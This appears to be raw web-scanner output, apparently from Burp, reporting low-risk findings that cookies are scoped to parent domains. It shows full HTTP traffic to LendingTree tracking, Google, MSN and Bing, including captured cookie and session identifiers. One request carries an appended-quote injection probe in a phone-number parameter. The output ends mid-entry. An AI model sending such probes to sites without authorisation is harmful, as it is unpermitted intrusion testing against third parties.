HTTP/1.1 200 OK Cache-Control: no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private,no-cache=Set-Cookie Pragma: no-cache Content-Type: image/gif Expires: Thu, 28 May 2009 00:00:00 GMT,Thu, 01 Dec 1994 16:00:00 GMT Last-Modified: Thu, 23 Apr 2009 20:07:22 GMT Accept-Ranges: bytes ETag: "039b71c4fc4c91:0" Vary: * Server: Microsoft-IIS/7.0 X-Powered-By: UrlRewriter.NET 2.0.0 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" Set-Cookie: v1st=3E5A3F6BE25E0C21; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.tree.com Date: Wed, 02 Feb 2011 15:43:41 GMT Content-Length: 35
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
v1st=717B790BCEF95430; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.tree.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /trk/pv.gif?Log=1&dt=1296661472842&ns=tree&pageName=Fossa%3ALP%3Aundefined%3Aundefined&referrer=http%3A%2F%2Fburp%2Fshow%2F13&type=PV&status=200&dns=offers.lendingtree.com&uristem=%2Fsplitter%2Fsplitter.ashx&screen=1920x1200-16&lng=en-US&version=0.9&url=http%3A%2F%2Foffers.lendingtree.com%2Fsplitter%2Fsplitter.ashx%3Fid%3Dmsnhptext12111%26promo%3D00313%26source%3D4666360%26esourceid%3D4666360%26800Num%3D1-800-289-1731'%26adtype%3D2&sn=serverName&_tsid=5d91cf81-64dd-4122-b722-209783712fb4&_tcid=99ececb2-b7d7-493d-8c9a-dc1b0ea28b4b&author=unset HTTP/1.1 Host: tracking.tree.com Proxy-Connection: keep-alive Referer: http://offers.lendingtree.com/splitter/splitter.ashx?id=msnhptext12111&promo=00313&source=4666360&esourceid=4666360&800Num=1-800-289-1731'&adtype=2 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: t_lftm=v=1&id=suzsmde3PUmMmtwbDqKLSw--&bd=2011-02-02 15:43:54Z; t_svis=rfr=http%3a%2f%2foffers.lendingtree.com%2fsplitter%2fsplitter.ashx%3fid%3dmsnhptext12111%26promo%3d00313%26source%3d4666360%26esourceid%3d4666360%26800Num%3d1-800-289-1731%27%26adtype%3d2&adpk=&adcc=&adcm=&adcn=&adct=&adpxl=&adtype=2&id=gc+RXd1kIkG3IiCXg3EvtA--&v=4&cnt=1
Response
HTTP/1.1 200 OK Cache-Control: no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private,no-cache=Set-Cookie Pragma: no-cache Content-Type: image/gif Expires: Thu, 28 May 2009 00:00:00 GMT,Thu, 01 Dec 1994 16:00:00 GMT Last-Modified: Thu, 23 Apr 2009 20:07:22 GMT Accept-Ranges: bytes ETag: "039b71c4fc4c91:0" Vary: * Server: Microsoft-IIS/7.0 X-Powered-By: UrlRewriter.NET 2.0.0 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" Set-Cookie: v1st=717B790BCEF95430; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.tree.com Date: Wed, 02 Feb 2011 15:43:41 GMT Content-Length: 35
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /translate_t?q=millenium+boston&um=1&ie=UTF-8&sa=N&hl=en&tab=wT HTTP/1.1 Host: translate.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:42:18 GMT Expires: Wed, 02 Feb 2011 15:42:18 GMT Cache-Control: private, max-age=86400 Content-Type: text/html; charset=UTF-8 Content-Language: en Set-Cookie: PREF=ID=11a27dc8823c6265:TM=1296661338:LM=1296661338:S=XxDI3af9TXnEOKKO; expires=Fri, 01-Feb-2013 15:42:18 GMT; path=/; domain=.google.com X-Content-Type-Options: nosniff Server: translation X-XSS-Protection: 1; mode=block Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: tv.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /last-night-on-tv/ HTTP/1.1 Host: tv.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 33889 Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 Set-Cookie: stad=; path=/ Set-Cookie: MC1=V=3&GUID=6e26d8f6fa754507a302411667b60080; domain=.msn.com; expires=Mon, 04-Oct-2021 19:00:00 GMT; path=/ X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 15:38:01 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"> <head><title> Last Night ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tv/article.aspx?news=625989>1=28103 HTTP/1.1 Host: tv.msn.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /videosearch HTTP/1.1 Host: video.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"> <TITLE>302 Moved</TITLE></HEAD><BODY> <H1>302 Moved</H1> The document has moved <A HREF="http://video.google.com/">here</ ...[SNIP]...
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
v1st=180511B6F2B95AA0; path=/; expires=Wed, 19 Feb 2020 14:28:00 GMT; domain=.dmtracker.com
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/o?id=bpZvKQBBer360wadbi-bnq&i=http%3A%2F%2Fwww.ehow.com%2Faccount%2Fsimple_login.aspx&ts=1296659582198 HTTP/1.1 Host: w.ic.tynt.com Proxy-Connection: keep-alive Referer: http://www.ehow.com/ Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private, max-age=0 Content-Length: 28806 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" X-UA-Compatible: IE=7 Date: Tue, 01 Feb 2011 15:38:40 GMT Connection: close Set-Cookie: _SS=SID=0BC2ADE229F04634896564740A5A01D2; domain=.bing.com; path=/ Set-Cookie: MUID=F741A5D3C8544F77A0B57D8439E7E06E; expires=Thu, 31-Jan-2013 15:38:40 GMT; domain=.bing.com; path=/ Set-Cookie: OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2cb5a6f99140c64e31bba9881e28dc2c32; expires=Thu, 31-Jan-2013 15:38:40 GMT; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1623818&D=1593447&AF=NOFORM; expires=Thu, 31-Jan-2013 15:38:40 GMT; domain=.bing.com; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"><head><meta ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /images/results.aspx HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 62642 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" X-UA-Compatible: IE=7 Date: Tue, 01 Feb 2011 15:38:46 GMT Connection: close Set-Cookie: IMGSCHUSR=scratchpad=0&details=1&BE=1; expires=Thu, 31-Jan-2013 15:38:46 GMT; domain=.bing.com; path=/images Set-Cookie: _SS=SID=EBE2AE360AFC4607A69EB91C0D4E6925; domain=.bing.com; path=/ Set-Cookie: MUID=F741A5D3C8544F77A0B57D8439E7E06E; expires=Thu, 31-Jan-2013 15:38:46 GMT; domain=.bing.com; path=/ Set-Cookie: OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c555a02fcae8c47d28a52d3ae0b9f2d11; expires=Thu, 31-Jan-2013 15:38:46 GMT; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1623818&D=1593447&AF=NOFORM; expires=Thu, 31-Jan-2013 15:38:46 GMT; domain=.bing.com; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"><head><meta ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /local/ypdefault.aspx?cobrand=1 HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:44:00 GMT Connection: close Set-Cookie: _SS=SID=988929FDD64C4D1397AB89DFC50C244C; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625264&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:44:00 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /maps/ HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /maps/default.aspx HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /maps/explore/?org=aj&FORM=Z9LH9 HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /news/results.aspx HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 302 Moved Temporarily Cache-Control: private Content-Length: 0 Location: /news P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Tue, 01 Feb 2011 15:39:16 GMT Connection: close Set-Cookie: _HOP=I=1&TS=1296574756; domain=.bing.com; path=/ Set-Cookie: _SS=SID=763DB5F1CCD148E2BB4E8A278E312C2C; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1623819&D=1593447&AF=NOFORM; expires=Thu, 31-Jan-2013 15:39:16 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /news/search HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 302 Moved Temporarily Cache-Control: private Content-Length: 0 Location: /news P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Tue, 01 Feb 2011 15:39:18 GMT Connection: close Set-Cookie: _HOP=I=1&TS=1296574758; domain=.bing.com; path=/ Set-Cookie: _SS=SID=359930AE5B034C0B815E7BBE1E780610; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1623819&D=1593447&AF=NOFORM; expires=Thu, 31-Jan-2013 15:39:18 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /news/search?q=small+plane+makes+emergency+landing+on+nj+highway&form=msnhpm HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 70879 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" X-UA-Compatible: IE=7 Date: Wed, 02 Feb 2011 15:43:30 GMT Connection: close Set-Cookie: _SS=SID=5764619496BA40119E677689023EF3BF; domain=.bing.com; path=/ Set-Cookie: MUID=F741A5D3C8544F77A0B57D8439E7E06E; expires=Fri, 01-Feb-2013 15:43:30 GMT; domain=.bing.com; path=/ Set-Cookie: OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2cd72edb54d9204953b984e3b08f2bfcd9; expires=Fri, 01-Feb-2013 15:43:30 GMT; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625263&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:43:30 GMT; domain=.bing.com; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:Web="h ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /results.aspx HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 301 Moved Permanently Cache-Control: private Content-Length: 0 Location: http://www.bing.com/search P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Tue, 01 Feb 2011 15:38:46 GMT Connection: close Set-Cookie: _HOP=I=1&TS=1296574725; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /search?q=February+1&mkt=en-us&FORM=MSNHPT HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:44:02 GMT Connection: close Set-Cookie: _FS=mkt=en-US; domain=.bing.com; path=/ Set-Cookie: _SS=SID=2E1A7F5BA7644A2BAA06833125336168; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625264&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:44:02 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /shopping?FORM=SHOPH2 HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:44:02 GMT Connection: close Set-Cookie: _SS=SID=174B2CCBF11A4337B3CF5638612D64AA; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625264&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:44:01 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /shopping/pet-beds/c/5533?q=dog+beds&vw=gr&FORM=SHOPH1&crea=020111dogbed HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:44:01 GMT Connection: close Set-Cookie: _SS=SID=835633C5B9E34FC3BD3136F7AE025813; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625264&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:44:01 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /shopping/photo-storage-presentation/search?q=digital%20photo%20frame&p1=%5bCommerceService%20scenario%3d%22f%22%20r%3d%22leafcategoryid%7c4385%2cpricelow%7c0%2cpricehigh%7c25%22%5d&vw=gr&FORM=SHOPH1&crea=020111frames HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:44:01 GMT Connection: close Set-Cookie: _SS=SID=75FB9386DCDD4B3784025AB4615440AB; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625264&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:44:01 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /shopping/search HTTP/1.1 Host: www.bing.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: SRCHUID=V=2&GUID=616EE72E193A469889DD7EFDDDD7C5E7; _UR=OMW=1; OrigMUID=F741A5D3C8544F77A0B57D8439E7E06E%2c7689f9b6106a4956aba5a571b964d2fe; MUID=F741A5D3C8544F77A0B57D8439E7E06E&TUID=1; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20110111; SRCHD=MS=1621087&D=1593447&AF=NOFORM;
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 116 Content-Type: text/html; charset=utf-8 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND", policyref="http://privacy.msn.com/w3c/p3p.xml" Date: Wed, 02 Feb 2011 15:44:01 GMT Connection: close Set-Cookie: _SS=SID=0D67D29194BA45D69B3158AB22258F94; domain=.bing.com; path=/ Set-Cookie: OVR=flt=0&flt2=0&flt3=0&flt4=0&flt5=0&flt6=0&flt7=0&ramp1=0&release=or3&preallocation=0&R=1; domain=.bing.com; path=/ Set-Cookie: SRCHD=MS=1625264&D=1593447&AF=NOFORM; expires=Fri, 01-Feb-2013 15:44:01 GMT; domain=.bing.com; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
